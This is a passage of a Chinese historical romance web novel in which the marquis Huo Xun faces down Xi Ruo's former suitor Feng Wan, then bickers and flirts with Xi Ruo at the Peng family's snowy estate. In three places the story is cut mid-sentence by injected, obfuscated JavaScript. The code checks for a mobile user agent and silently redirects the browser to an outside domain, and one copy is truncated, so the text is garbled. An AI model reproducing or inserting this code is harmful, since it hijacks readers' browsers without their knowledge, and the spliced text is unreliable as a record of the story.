霍恂伸手将她帽子拢了拢,伸手给她将带子系紧了,看着她的脸都拢在帽子里,才留给息偌一个颇有深意的眼神,又回过头去。 息偌的视线倏然被阔大的帽子框住,只在一片暖意里看见他换了一个有些不耐烦的眼神看向冯晚那边,道:“我们未婚夫妻之间有话要说,冯郎不回避吗?” 冯晚看着他们这般亲昵的动作,而息偌居然不曾拒绝,咬牙道:“还没定呢。” 霍恂笑道:“怎么没定?她说着和我闹脾气,你也信?” 他十分自如地应对道:“你若觉得没定,可以去问问息家长辈,若还是不肯信,去宫里问一句也不妨事。我的婚事经由陛下作主,庚帖都已经送进去了。陛下金口玉言,你总不能不相信了。” 这下不光是冯晚,连息偌都有些微微的惊讶了。 她知道这事私底下一定有息停和霍恂暗自说好,但却也没想到这么快的工夫,就能到宫里那一步。 她可是一点都没听说消息! 冯晚一时哑口无言。他心中并不想信,可是霍恂提到了陛下,他总不能因为一时的争抢拿陛下来说事。 他的底气因此都弱了三分,但仍然强撑着道:“不到最后一步,万事都没个定数,一切还有的变呢!你话也休要说得太满,免得将来反掴到自己脸上!” 他再一次看向息偌,这一次的语气分明比刚才更加严肃沉重,道:“曼曼,你仔细考虑清楚。” 他是要再一次提醒息偌,让她别因为最近的这些事冲昏头脑,做下什么冲动的决定。这事若是从宫里过了一遍,到最后就是真的覆水难收,定成死局。 宫里这不是也没信儿吗?只要在此之前她想清楚了,只要她说一句同意,他拼尽全力也要将此事拦下去。 他的确没什么功名,比不得息停年轻位重,才能在家中一手遮天。可他冯家也是百年世家,根基深厚,他的长辈们也在朝中为官,想要介入此事,亦能说得上话。 冯家男丁兴旺,冯晚在家中行九,前头几个哥哥都有出息,是而到了冯晚这里,即便他不爱读书功名,冯家也对他逼得不狠。 冯晚一贯觉得自己受尽宠爱,生活自由自在,享惯了这样的富贵人生。但为了息偌,这是头一回他开始痛恨自己不曾加官。 若他也能有个官身,息家岂能如今日这般小看无视他? 若他也能有个谈判的资本,息家岂能如今日这般轻易将他排除在外,考虑起这劳什子病弱王侯? 但这病侯爷就在对面对他道:“还不离开吗?冯郎。” 话到此处,其实也实在没什么好说了。 彭琰一直在不远处守着,待发现那边去了人,便立时凑近了。家丁看到彭琰,赶紧凑上去说话,彭琰这才知道来的就是清都侯。 她一时没有贸然上前,在暗处等候许久,眼见着两边一直僵持,而冯晚毫无还手之力,她无奈地轻叹一声,现身解局。 “彭家小女,见过清都侯。” 她伸手拉了一把冯晚,对霍恂道:“今日别庄里炙肉赏雪,是我疏忽了,不曾远迎,将几位贵客落在了此处。还请侯爷莫要怪罪,一起去那边阁子里入小宴罢。” 霍恂又套上了那副温和的笑脸,道:“我一时还不饿,看此处落雪梅花倒也有趣,想再看一阵儿。倒是冯郎,眼见着是饿昏了头了,彭娘子带他去垫垫肚子罢。” 彭琰看了一眼息偌,息偌摇头暗示自己无事。 于是她也就飞快行礼说了告辞,半拖半拽地将冯晚拖走了。 待离得远些了,她才没好气道:“你们闹起来了?你这大少脾气何日能够改改?在曼曼面前,你就姿态放低些不行吗?弄这么大的阵仗,让我替你将人寻来,你若两句好话没有,岂不是火上浇油吗?” 冯晚没争辩多说,问起长辈们都在何处。 彭琰答了个地方,问道:“你要做什么?” 他们两家也沾着亲,冯晚才好借彭家的宴局来邀息偌。他冷着脸迈步而去,道:“同长辈们告辞,我有些急事,要回城中去问清楚。” 彭琰愣了愣,问道:“那曼曼呢?你不管了?” 冯晚脚步顿了顿,道:“管。怎么不管。” -- 随着他们远去,此地一时便安静了下来。 息偌就知道,霍恂故意说要在此处看雪,说白了就是要和她兴师问罪,免得她又不知逃到哪儿去。 眼见着雁行也推开了,可是霍恂仍旧站在彼处不动,仿佛真是快心惬意地看起雪景来了。 息偌有些怂地考虑了很久,还是非常勇猛地开口道:“你若是喜欢在此处看雪,那我就先走了,你自己慢慢看啊。” 霍恂这下舍得回头正眼瞧她了,缓声道:“曼曼?” 他的语气像在质疑她说的那句“慢慢看”,但他绝对不是这个意思。 因为息偌听得出他的音调是向下落的,每一个字都是实的,就像是把这两个字十分仔细实在地在唇齿之间咀嚼了一遍。 他在念她的名字。 息偌没敢应声。 霍恂问道:“哪个曼字?” 息偌心想,女孩儿家的名字能有几个曼字?便道:“就是你想的那个。” 霍恂道:“哦,缓慢的慢。” 息偌下意识道:“不是!是——” 她话音戛然而止,因为她突然反应过来霍恂是在故意逗她,并且,也因为她突然抬头看见了他的眼睛。 他眼睛里是一种仿佛看见珍爱之物的笑意。 在从前,在难得的柔情蜜意的时光里,冯晚也用这样的眼神看过她。 她知道那是喜欢的笑意和眼神。 “喜欢”,这种感情和认知让她停下了自己辩驳的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432420|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 喜欢吗?霍恂就这么两面之缘,哪里来的喜欢?他可真是个可怕的人,她知道他会演,可他怎么演得这么纯熟? 若她不是个见过风月见过世面的聪明娘子,都要被他骗过去了。 他太可怕了。 息偌如此想着,没有意识到自己的眼睛也在暴露着自己的心,只是盯住了霍恂那一双泼墨山水一般的眼睛,一时没有挪开。 霍恂目力一向不错,此刻看她的时候更是清晰,她眼里的防备和畏惧那么清晰,她只是因为自己喊了她的小名而生出戒心,甚至没有接上他的玩笑话。 老天有眼,他当真只是为了玩笑一句,好叫他们之间能有一个破冰的话口。 这小娘子的欢心真是好难讨。 霍恂目光淡了些,也不再看她,向一旁转开。 息偌终于松了一口气,而后才想到—— 曼曼?曼曼!曼曼!!谁许他叫她曼曼的! 他叫四娘都让自己忍了很久,他怎么敢叫自己曼曼的! 息偌开始思索,她不能一直这么忍着他得寸进尺,她总得想点手段,让他知道她也有自己的脾气,不是任由他搓圆揉扁的! 她正想着,霍恂放目瞧了瞧院里的景色,便转身同她道:“咱们走罢?” 息偌还没想出个头尾,突然被他打断,抬头问道:“你不看了?” 她跟着他的脚步并肩走出去,道:“我听说清都气候温和,是从不下雪的,还以为你会新奇多看两眼……其实宁都也少雪,今年这场雪都算格外大的了。” 霍恂袖着手,脚下缓慢,与她从回廊中走出来,又共同从这白雪景致里走过去。 他道:“清都的确不下雪,但我幼时在宁都待过,见过雪。这次回来,一时是有些新鲜,但也不至于在这大寒天里站着使劲吹风。” 他低下头来看了息偌一眼,皱眉道:“等等。” 息偌不解地停下来,看他再度伸手扯了扯她的帽檐,恍然道:“这样冷的天,你光顾着好看吗?” 才把帽子做得这样大,头晃一晃都要掉了,怎么挡得住风? 息偌却反将帽檐又向旁别了别,有些嫌弃道:“这是宁都的风尚!帽子大些,里头留个软撑,出去不至于压坏发髻。” 她整理好,抿唇倔强道:“冷就一会儿,好看是一辈子的事儿!你懂什么?” 霍恂微哂道:“我不懂,那个也没多懂,知道不保暖,还拉着你在这地方受冻。” 这句话若是从旁人口中说出来,息偌大抵能明白是郎君吃味时的阴阳怪气。但是这话如果是霍恂说的,那她就不会这样觉得了。 她想,他大约是真的觉得霍恂非常愚蠢。 如果再往深想,他看待她是一个权利联系的工具,应该是很不希望这桩婚姻在她这里出现什么问题的。 毕竟宫里已经知道了,若是闹出乱子,对他来说是件烦心事。 息偌同他道:“你不用给我说他的坏话,我知道他是什么样的人。” 霍恂垂目看了她一眼。 她十分善解人意地说道:“我不会因为他反复的示弱与求和,就点头答应他什么,否决掉之前说好的婚事。所以你也不用说这些话,担心我满脑子只有小情小爱,被他这点温柔蒙蔽双眼。” 她说完这句话后,看见并听见他非常冷漠而鄙薄地发出了一声嗤笑。 “你也就想到这里。” 他如此说。 息偌火气又上来了—— 不然呢?不然呢?就他聪明,就他厉害! 她黑着脸转身快步向前走,他又在她身后叫她等等。 她没回头,听见他在她身后问道:“你往哪儿去?” 息偌头也没回,道:“你少管我去哪里!” 霍恂迈步跟在她后头,她看着脚步快,实际上害怕滑,也只有些小碎步,他不用多快就能跟上。 他因此十分自如道:“你若要去寻彭娘子,她家长辈知道邀了你来,必然会请你去前头一起吃饭。那冯郎还没走呢。” 息偌想到这里,脚步立刻停了下来。她忿忿回过头,瞪着他那张可恨的笑脸,道:“你故意的罢?” 霍恂几步重新回到她身边,道:“我在不好吗?你今日来了,不好直接就走。我若在这里,还有人替你挡一挡。” 息偌很认真地盯了他许久,见他面色始终毫无波澜,自己却忽而想到了什么。 她道:“其实是你想让我陪着你罢?” 霍恂挑眉问道:“怎么说?” 息偌越想,越觉得自己是猜中了,十分自得道:“你刚到宁都,与彭家也不熟,身份又特殊。今天这么贸贸然地闯过来了,留着也尴尬,但也不能将我一个丢在这里。所以最好是我留在旁边一直陪着你,你才理直气壮,是不是?” 霍恂垂眼望着她,她细长的眉毛勾得漂亮,青黛洒金点缀长眉,随着她生动的表情高高地扬起来,像一只美丽的鸟儿振开艳丽的尾羽。 她像一只漂亮又骄傲的鸟儿。 他不自觉地笑了。 11. 静雪 霍恂也不曾反驳她什么,只点点头道:“那请四娘子帮帮我罢。” 他这一次回了宁都,已然去见了今上。今上心中尊重他父母,连带着见他这么个许久不见的童年小伴也亲厚非常。 世家里私下的消息网络四通八达,早就将他面见今上的行程传了个无人不晓。如今都说他要对付世家,只等着他哪日出门去了谁家,好看他是要对谁下刀。 要不是今日来寻息偌,他压根没打算如此明目张胆地来登彭家的门。 霍恂来时,有小厮匆匆前去报信,又有小厮引他往待客厅中去。他是问了息偌往何处去的,这才一路过来。 等会儿彭家人听了信儿,必然会再来寻他。他若是匆匆走了,不仅于礼数上不合适,还反显得行迹可疑。但若是有息偌站在旁边,佐以他们相看的传言,这就好解释了。 息偌见他如此听话乖顺,总觉得有鬼,想他必然有什么其他鬼心思,才这么糊弄她,于是迟疑问道:“你莫不是想要拿我当幌子,去找彭家人的麻烦罢?” 霍恂微哂道:“官场里,谁身后没点尾巴能抓?我何必非要借你来做这些?” 非要闹得她不开心,对他又有什么好处? 他心里是一点都没打算要找彭家人的麻烦,可是这话听到了息偌的耳中,就觉得他并没有将话说实。 她眼神沉下来,盯着他,想今后如果要一直和他过下去,不如早早把话和他说明白。 “如果是能答的问题,是或者否,你能不能和我说明白?我最讨厌官场上绕来绕去的那一套,我长兄回了家,宁肯是不说,也从来不对家人用这套说辞的。” 若是夫妻之间,连一句明白话都说不了,那将来这几十年的日子可要怎么过呢? 霍恂一直看着她,她眼中的厌恶之色虽然已经加以掩饰,但其实还是有些明显。 他一时没有接上话,在这短暂的沉默里,息偌又想到,他也和她算不上是真正的家人,也不是因为真的喜欢她才成婚,这么要求他确实有些冒进了。 “你若不……” “我尽量。” 两个人同时开口,息偌有些惊讶地看向霍恂。 霍恂认真而诚恳地与她道:“我初来乍到,有所防备,不喜将话说得太明。但你与旁人不同,如有需要,也可以向我提出。你我之间的小事,都好商量着来。” 实际上,如果只是他们两个人之间的小事,他都让着她也无妨。 但此刻他还不想说。太快就让她知道了可以迈进的界线,那就看不到她一点点试探和得寸进尺的得意了,没意思。 息偌听着,倒是很满意地点了点头。 虽然婚事一开始非她所愿,可是接触下来,霍恂并不让她非常排斥。只要日子能好好过,她干什么要天天折腾? 霍恂想了想,又道:“我没打算对彭家做什么。今日过来,是有别的事。” 息偌不太相信。 他都不认识彭家人,能有什么事? 她脑子里生出了一个念头,于是眨眨眼,戏谑问道:“来找我的?” 霍恂看见她这样狡黠又娇气的模样,大约想到了她在家中是何等受宠的样子。说白了,这样无意之间流露出来的娇憨,才是她的真性情。 这样的姿态并不让人厌恶,他看在眼里,觉得还是有趣可爱的。 于是他乐意在这样的时候哄一哄她,便又露出了一种十分纵容的笑意,就像在西市时由着她狐假虎威给自己的死对头炫耀时的样子。 息偌是被哄大的,自然很吃这一套,只要得了旁人三分颜色,心里就要盘算着开起染坊。她觉得他就是来找自己的,只是不好意思明说罢了。 其实,若是不提世家和皇家的那些龃龉,就凭这么两回相见时相处的感觉,息偌大概也能确定,霍恂对她本人是并不排斥、甚至感觉是很正面的。 她也是个美丽而高贵的世家娘子,平素不少接受郎君们的好感与好意,这些基本的感受,她还是能体会得到的。 既然如此,那就一切好说。 她觉得自己在他面前应该可以再大胆一点,于是伸出手去迅速拍了拍他的手臂,道:“你放心罢,今天在彭家,我不会冷落你的。我这个人别的优点暂且不提,起码还是很会照顾人的。” 会什么呀?又不是小孩子玩过家家。 霍恂心里如此想着,口中却从善如流道:“好啊,那我要谢谢四娘了。” “不客气。” 息偌现在已经很能接受他就叫自己“四娘”了,神态自若地转过身,又低下头去看着路,一点一点往前挪。 她当真立刻就将自己代入成照顾旁人的角色了,同他道:“你想不想好好看一会儿雪?前头有个小暖阁,从花窗里看景漂亮得很。咱们过去坐一会儿,正好也暖一暖。” 霍恂见她在彭家如此自如,半提醒道:“你到彭家来,不先去见见长辈吗?” 息偌只以为他是疑问,便道:“彭家的几位长辈我都很熟了。那几位叔伯大约都不在家,老太太和诸位婶婶都是女眷,知道我是被阿琰拉过来玩儿的,不会计较这些,晚些去也不妨事。” 她眼睛亮亮的,冲他眨了眨,道:“阿琰回去了,她们知道我和你在一起,肯定会让侍女过来找呀。等到时候再说。” 霍恂不再多说了。 他已经提醒过了,她此刻不听,那就不是他的责任了。 他目光始终跟着息偌,见她到底还是个年纪不大又天真烂漫的小姑娘,此刻又重新变得兴致勃勃,只是偏偏挪得费劲。 她身边的侍女小盼跟着,主仆二人扶在一起,没见得稳,只见得一起战战兢兢。 此处的花园装点的是石砖,既然积了雪,即便撒盐清理过,也还是有些滑。 霍恂看了两眼,还是没忍住,从氅中伸出手,一把扶住了息偌的手臂。 他到底是个身量颀长的男子,虽因病弱比旁人瘦了些,但骨量放在那里,一双手大而稳当。息偌被他这么一扶,瞬间都感觉自己有个着落了,步子都能迈大些。 他居然还在逗她,故意道:“四娘子是要看夜雪吗?” 他嘲笑她走得慢! 息偌被他这么一说,本来还在纠结是否要推辞一番的心瞬间就消失得无影无踪。她心安理得地反手抓住了他,将自己的重心都靠在了他那边。 “那你走稳点……快呀!” 她这么催着他,一路往那小暖阁走,脚下速度快了很多,不多时就走进了阁中。 这小暖阁本就是个绝佳的观景之处,所以不曾长久空置,再加上彭家人这几日也来过,所以布置十分完备,绒毯、炭盆、器具应有尽有。 小盼和雁行前后忙碌,伺候着各自的主子舒适取暖,眼见着差不多了,又默契地一同退开到外间守着。 息偌坐在铺了绒垫的椅子上,这下才开始收拾自己。她低着头整了整袖口和衣摆,露出了腰间别的一个香袋。 霍恂余光里瞥见了,想起自己先前在西市给她买的那个玉香囊。 息偌感觉到他的视线落在自己身上,来回瞥了一眼,立刻反应过来,便道:“你给我的那个,我没乱丢,在家里收着呢。是天太冷了,我才没戴。” 老话说“冬不戴玉,夏不戴金”,他送她的时候没想着,倒是疏忽了。 霍恂想起这几次见面,她身上的佩香各不相同,但闻起来都是幽长清洌,显见得是仔细选过的。 于是他便道:“清都有种晚枫霞,做主香味道太淡,但是佐以其他香料,倒很是不错。你若是喜欢佩香,我回头给你送些。” 息偌听过这种香料,但没怎么试过,他既然好言好语地要送自己,她也就没客气。 而他紧接着又道:“香囊也可以给你再送几个,让你轮番戴,免得下回出去碰到别人问起,又说我不曾与你定下信物。” 来了来了!这哪里是来给她送香的?这分明是来和她算账的! 息偌瞬间心里提高了警惕,想到了那天的情形。她的玉佩是他耍赖不肯归还,更何况本来也就算不上是什么他们之间的信物,而步摇是他自己捡回去的,当场也没说过什么…… 所以,她明明应该没什么错处的呀! 只是虽然她是这么想的,听着他的语气,却还是有些心虚道:“我以为你将那支步摇收了回去,是另有打算呢?” 霍恂反问道:“若我另有打算,还与你去西市折腾那么一圈做什么?” 他挑着眉问道:“难道不是你不肯要了,我只能自己捡起来吗?” 息偌抿抿唇,不满道:“我那不是正在气头上吗?若是你态度好些,别在第一次见面的时候就那般惹我,我也不至于将东西给你扔回去……” 她说着,对着他伸出手去,勾了勾指头,道:“那你还给我罢。” 霍恂不轻不重地将她掌心打了一下,懒洋洋地靠着椅背,甚至连眼睑都垂了下去,道:“等回去再给你,眼下我没带在身上。” 息偌感觉掌心烫烫的,不知道是不是因为和他接触的原因,匆匆就将手收了回来,拢在袖子里轻轻搓了搓。 她想了想,见他如此好说话,又道:“那玉佩你能一起还给我吗?那是我长兄给我的,我不想给别人。” 霍恂因此言看向了她。 息家这对兄妹当真有意思。息偌瞧着害怕长兄,绝非一朝一夕之事,近日又因此事强迫而怨恨长兄,照理说他们是不该多么亲近的。 可是息偌口口声声都是长兄。上次在他面前提及,尚可以理解成是狐假虎威,可像这样的贴身之物日日戴着,又念着来向他讨,绝非是不在意的样子。 霍恂想了想,点头道:“成啊,那拿你自己的玉佩来与我换。免得将来别人问起,你想着我这里没有你的东西,又说没定下信物。” 好记仇的男人! 他看着息偌扁着嘴侧过身,轻轻笑了笑,又收回目光落在前方。 他们是肩并肩坐在炭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知是不是因为他畏寒,连靴子都做得比旁人的靴子要长上一截,几乎要将整个小腿包住,只在近膝弯的地方才停,露出一圈细腻温暖的绒边,甚至膝盖前还要再长一段,将将挡住膝盖。 霍恂身量高,腿也长,如此坐下以后看着更是如此。小腿被那双靴子一掐,虽然穿着冬日的厚衣厚裤,仍旧显得细长,却并不是完全无力的病态之感,瞧着当真好看极了。 息偌乱七八糟地想,要是这双靴子的话,可能她真没这么长…… 不是!她为什么要拿自己和靴子比!! 她没好气地伸出腿,朝他那边不轻不重踢了一脚,正好踢在他鞋边上,倒不痛,就是勾着他向她转过脸来。 他们在银炭轻声爆裂的安静氛围里目光对视。 这大约是息偌今天第一次仔仔细细地看霍恂的脸。 霍恂一身衣物穿得极厚,照理说是不该冷的,方才触到手的时候也算温热。可他今日的唇色淡得离谱,耳朵又有些泛红,可见还是受了冻。 但光是冷倒也算了,他向她看过来的目光里,虽没有被招惹的恼意,只有让着她的宽和,但除此以外,却还透着一种深沉的疲倦的底色。 他山水一般挺括温和的眉眼,因为这么一点疲惫困倦,此刻像蒙了一层薄雾细雪。 真可怜。 她想。 也不知道这几天他是怎么盘算着要对付他们呢,居然累成这样。 真活该。 息偌看见他只伸手拢着茶盏取暖,却并不入口,好心提醒道:“这茶叶味道不错,你多喝两口,内腑能暖些。” 霍恂垂眼瞥了瞥,应道:“闻着还成。” 他目光又落去外面的雪景,但只一瞬,就突然反应过来什么,回过头时,正看见息偌没翻完的那个白眼。 息偌没料到被抓包,眼皮颤了颤。 霍恂于是又道:“我不爱在外面饮食,和东西好不好没关系。” 他倒是记住前头说的那些话了,颇好脾气地给她解释了一番,不是嫌弃不喝,是习惯不喝。 息偌也明白他们这些人在外面的讲究和避讳,点了点头。 她脑中又突然开始发散,想,等会儿本应是要在彭家用饭的,如果霍恂要与她在一起,那就得一起过去吃。 彭家的家宴突然来了这么一位侯爷,大约是吃不痛快,而他在外头不便饮食,也肯定坐着尴尬。 这么想着,她突然觉得,那还不如早些走了好呢。 这个念头一生出来,她就半点没有想要留的心了。 息偌招手叫小盼,吩咐道:“你去找找阿琰。” 小盼转身要去,息偌又叫住她,自己站了起来,将茶盏搁下,道:“算了,我和你一起去罢。” 霍恂还以为她是要走,抬眼觑着她,无声问她是什么意思。 才说了要陪,这会儿就坐不住了? 息偌道:“我去与长辈们露个脸问个好,咱们直接走罢?留在这里也不痛快,免得你等会儿连口饭也吃不着。” 12. 说笑 她这话的语调有些嫌弃和刻薄,但霍恂听得出来,她是在考虑过自己之后才做了要走的决定。 息偌正要说一句“你就别去了”,霍恂也正好起身开口道:“我与你一起去。” 她想他与彭家人也不认识,若是见了面,大概会很尴尬,于是目光里颇不赞同。 但霍恂倒是神态自若,一边整理大氅,一边道:“到外头做客,却连主人也不见,这像什么话?再说了,你一个过去,也未必好走。” 息偌想了想,倒也是这么一回事,所以与他又一并往前头去。 在回廊里的时候倒还罢了,出了回廊的路,霍恂始终伸手扶着她。 息偌已经习惯了这种隔着衣袖的接触,十分自然地借着力,还不忘叮嘱他道:“彭家的长辈对我不错,应该也听说我议亲的风声了。你和我一起去的时候,记得态度对我好些。” 霍恂答应得十分痛快,又反过来笑问她道:“我几时对你态度不好了?” 息偌道:“头回见面就不好。” 霍恂想她大概是要一直记着,这可不是什么好事,于是狡辩道:“我初来乍到,是不喜欢那些荒唐的世家,不是对你态度不好。” 他难得有个错处,息偌揪住了没放,道:“你这是以偏概全,这是不对的。” 霍恂虚心称是。 他想这话倒是没错。世家没什么好东西,息停也未必是什么好东西,但是息偌的确很不错。 他低头的态度十分诚恳,息偌也就满意了。她觉得自己当真是无私极了,自己原本是来开开心心吃炙肉的,眼下为了照顾他的心情,肉也吃不上了,还要白演一出戏。 这么在长辈们面前再装一遍,和西市同游的风言可不一样,这就等同于是落实了。 虽然她已经接受了这桩婚事,还是觉得让他占尽了便宜,怎么这么容易就让他把这事顺顺利利地走完了? 得来不艰难,想来得到也不珍惜,真是亏大了。 于是她晃一晃手臂,对霍恂道:“你欠了我一个天——大的人情。” 她把话音拖了好长。 霍恂意味深长道:“记着了,将来都还你。” 他提前就代入了角色,这一路上对她态度温柔,简直就是言听计从。就这么一路哄着息偌,眼看着她尾巴都要翘到天上去,遥遥看着有彭家的侍女过来迎接。 息偌想着在外人面前,还是要给霍恂留些面子的,没有再继续得寸进尺,将头转到一边去,与这侍女说话了。 这是彭家老太太身边的侍女,息偌见过几次,还是熟的。于是这么一说起来,也就忘了旁边的霍恂。 霍恂正借着如此,即便走进了回廊,也没丢开手,仍旧牵着她的手腕一起走。 息偌是没注意,那侍女倒是余光里瞧见了,轻轻掩口笑了笑。息偌还以为她是因为和自己说话笑呢,半分没反应过来。 就这么一路到了堂前,侍女给他们打起了厚毡帘。息偌十分顺手地反手拉了霍恂的袖子一把,当先跨了进去。 她姿态好生自然,心情好生英勇,走在最前面昂首挺胸,一点怯意都没有。 霍恂看得笑意不绝。 堂中人多,但大多都是女眷,只有几个年轻郎君都是小辈。彭家老太太坐在上首,旁边就坐了一个锦袍华服的青年郎君,正说话逗得老太太捧腹大笑。 见到人来了,他指着他们笑道:“您瞧瞧,要不是您让人去找,他们还不来呢!” 这人息偌认识,正儿八经的一位皇姓世子爷。他父亲是个闲散皇亲,他母亲出身彭家,嫁去做了个侧室,但之后正室早亡,他母亲也就扶了正,此后夫妻恩爱,将他也养得性情开朗。 因与彭家有亲,他是常来彭家看望外祖母的。 霍恂进大门时报了名姓,是以座中众人即便没见过他,也能猜到他的身份,便对他见了礼。而让息偌微讶的是,在她向彭老太太行礼的时候,霍恂竟也伸手一礼。 他口中还问了句“老太太好”。 息偌心想,别的不说,他演戏倒是挺会做样子的。 可是彭老太太当真也没起身,只是往前倾了倾,仔仔细细打量了他一遍,露出些戚戚之色,轻声叹道:“这么些年了,还是太瘦了些,身体仍常生病吗?” 如果照息偌原先的设想,她应该走进来,见个礼,到老太太身边去撒个娇,说几句话,然后就顺理成章地退出来。 但现在所有的设想都被打乱了,息偌只剩下疑惑,便侧过脸去看霍恂。 霍恂态度很是诚恳,答话道:“劳老太太挂记。清都气候适宜,这些年已养得很好了,不常生病。” 那世子爷又在一旁道:“他身体都好,骑马也使得。” 他笑着与老太太道:“您瞧我这表弟,也是一表人才,配息四娘子如何呢?” 这话猝不及防地绕过了,息偌的脸烫了烫,瞪了那世子爷一眼。老太太却笑着,应声道:“自然是不错的。” 她望着并肩站在中间的两个人,越看越觉得般配,越看越觉得满意,眼中的笑意也越深了。 她开口道:“今日难得来了,就留下一同吃饭罢?庄子上新猎了山猪野鸡,今日天寒,做炙肉暖身子正好。” 这么一番熟络至极的景象,看得息偌都忘记应声了,反倒是霍恂进来以后,显得更加自如些。 他答道:“我本不该推辞的,只是方才与四娘说话,眼见着外头雪好,想邀她一同出去转转,怕路上久,回来后天黑不好走。所以来给老太太告个罪,容我们此回先去,下次再来罢。” 这话一说,屋里人纷纷笑了出来。 息偌与霍恂前几天在西市同游的事儿,他们已经听说了,原觉得半真半假,但方才冯晚过来告辞,瞧着那股心情不快又失魂落魄的样子,就有了七分真。 眼下霍恂又追着息偌的马车一起来了庄上,还专门要将人带走,这就是真了个十成十了。 如今站在一起,郎君清俊,娘子娇俏,怎么看都是一对天作之合,只凭偶尔几个眼神交错,瞧着也不是毫无感情。 这些女眷用有趣的眼神瞧着他们两个,笑意都没怎么遮掩,而那世子爷更是火上浇油,拉着彭老太太,指着霍恂笑得肆无忌惮。 息偌和冯晚在一起时,从来没被长辈们这样笑过,她的脸瞬间就烧得通红,低着头没好意思抬。 霍恂低头瞧见了,又问道:“老太太可准吗?” 彭老太太看他一直盯着息偌瞧,又哪里非要做个恶人,于是大方摆手道:“就该你们两个饿肚子,去罢!” 这话一出,霍恂碰了碰息偌的袖口,要同她一起出去。息偌胡乱给长辈们行了礼,扭头就往外头走,也不等霍恂。 霍恂出来追上她,问道:“走这么快做什么?” 即便吹着冷风,息偌也还是感觉脸上发烫,听见他说话的声音更是来气。她停下来不轻不重地踢了他一脚,正踢在他那双可恶的靴子上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454674|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她睁大眼睛,恼恨道:“你认识老太太?还是和别人一起来的?方才怎么不和我说!” 早知道他们相处得如此和谐,她还担心什么?还故意跑着一趟干什么?那她方才说的什么“你是为了我来”、“我会照顾你的”,那些话又算是什么? 难怪他笑呢,自己在他眼睛里,可不就像个天大的笑话一般! 她真是错得太离谱了。 霍恂故意道:“不是你说,我是来找你的吗?你那么得意,我若说不是,你岂不是很没有面子?” 息偌不满道:“你现在这样就让我很有面子吗?” 她一想到方才房间里他们都是怎么笑的,自己就觉得没脸再来彭家。 她皱眉道:“以后她们都要笑话我,好像是我才刚刚认识了你,就一刻也离不得你……明明就不是这样的!” 明明就是霍恂追着她来的。 霍恂早想到了她此时的窘迫,看她如此倒觉可爱,便笑道:“我不是同他们说了,是我想要邀你出去吗?是我离不得四娘子,和你有什么关系?” 息偌道:“他们又不会笑你,只会来笑话我。” 霍恂道:“怎么不会?方才在里头你没听见吗?可不是指着我在笑呢。” 说到这里,息偌便问道:“你怎么与老太太这么熟?还有里头那世子爷,他是一直在宁都长大的,你什么时候与他交情这么好了?” 霍恂看着她,微微侧首瞥了一眼,问道:“你偏要在这里与我说吗?可有人看着呢。你还要不要面子?” 息偌顺着他回头的方向看去,果真见老太太身边的那几个侍女正往这边打量,不知看他们两个闹完脾气,回去要怎么添油加醋地学给彭老太太。 她立刻将身子背过去了。 霍恂伸出手,在她背后轻轻拢了一把,带着她向前走去,口中道:“我母亲与他家王妃熟识,自然也就认识他家老太太。我们几个年纪相仿,幼时也玩过几回。之前我回宁都,今上设了家宴,将这几个都叫到一处聚了聚,这才又熟起来。” 息偌哼了哼。 她的确是不怎么接触政事,却也知道,之前先帝驾崩前最后那几年里,这些皇亲可是颇不客气,即便她年纪尚小又在深闺,也能感觉到男性长辈们每日从朝中回来后散发出来的密布阴云。 这会儿要一致对外,倒是兄友弟恭起来了。 熟得倒是够快的。 她耍脾气道:“你就听着我不知内情装腔作势,也没与我说一句——看我的乐子有趣是不是?” 霍恂自然不能说“有趣”,便耐心道:“怎么没说?不是早提醒了你,先去见见长辈?” 息偌挑着眉怨道:“你就不能明说吗?” 霍恂应道:“那时候你不也没给我讲过规矩吗?” 眼见着她眉尾一挑就要开口,他又立刻道:“记着了,下次与你说明白。” 息偌就这么气呼呼地跟着霍恂走了一路,眼见着要到门口,看见了仆从在外套好马车,她突然反应过来,停下脚步。 她转过身面对霍恂,问道:“你既然和彭家人都认识,那我为什么非要和你走啊?我不走了,我要回去。” 她在这里吃着炙肉和好友一起说说话,怎么不比出去陪他好?都怪他,气得她一时冲昏了头,连这都忘了。 霍恂拉住了她,清隽疏阔的眉眼荡开很是坦然又温和的笑意,道:“庄子里有什么意思?我不是说了要带你出去玩儿吗?” 13. 别扭 息偌就这么被霍恂莫名其妙地从彭家带走了。 小盼坐在息家的马车上跟在后面,息偌则被带上了霍恂来时所乘的马车。 霍恂这辆车瞧着并不如何张扬,外貌上和息家的车区别也不大,可是内里却很是不同。 他这车里用油毡封得严严实实,甚至四壁还多铺了一层绒垫。座椅上放着毛毯,脚下踩着长绒地毯,车厢正中还放了个不小的炭盆,用铜盖封着,但还是向外蒸腾着热气。 息偌一上车,便觉温暖非常。虽然息家的马车布置上已经很是细致,却还是比不上霍恂这边。 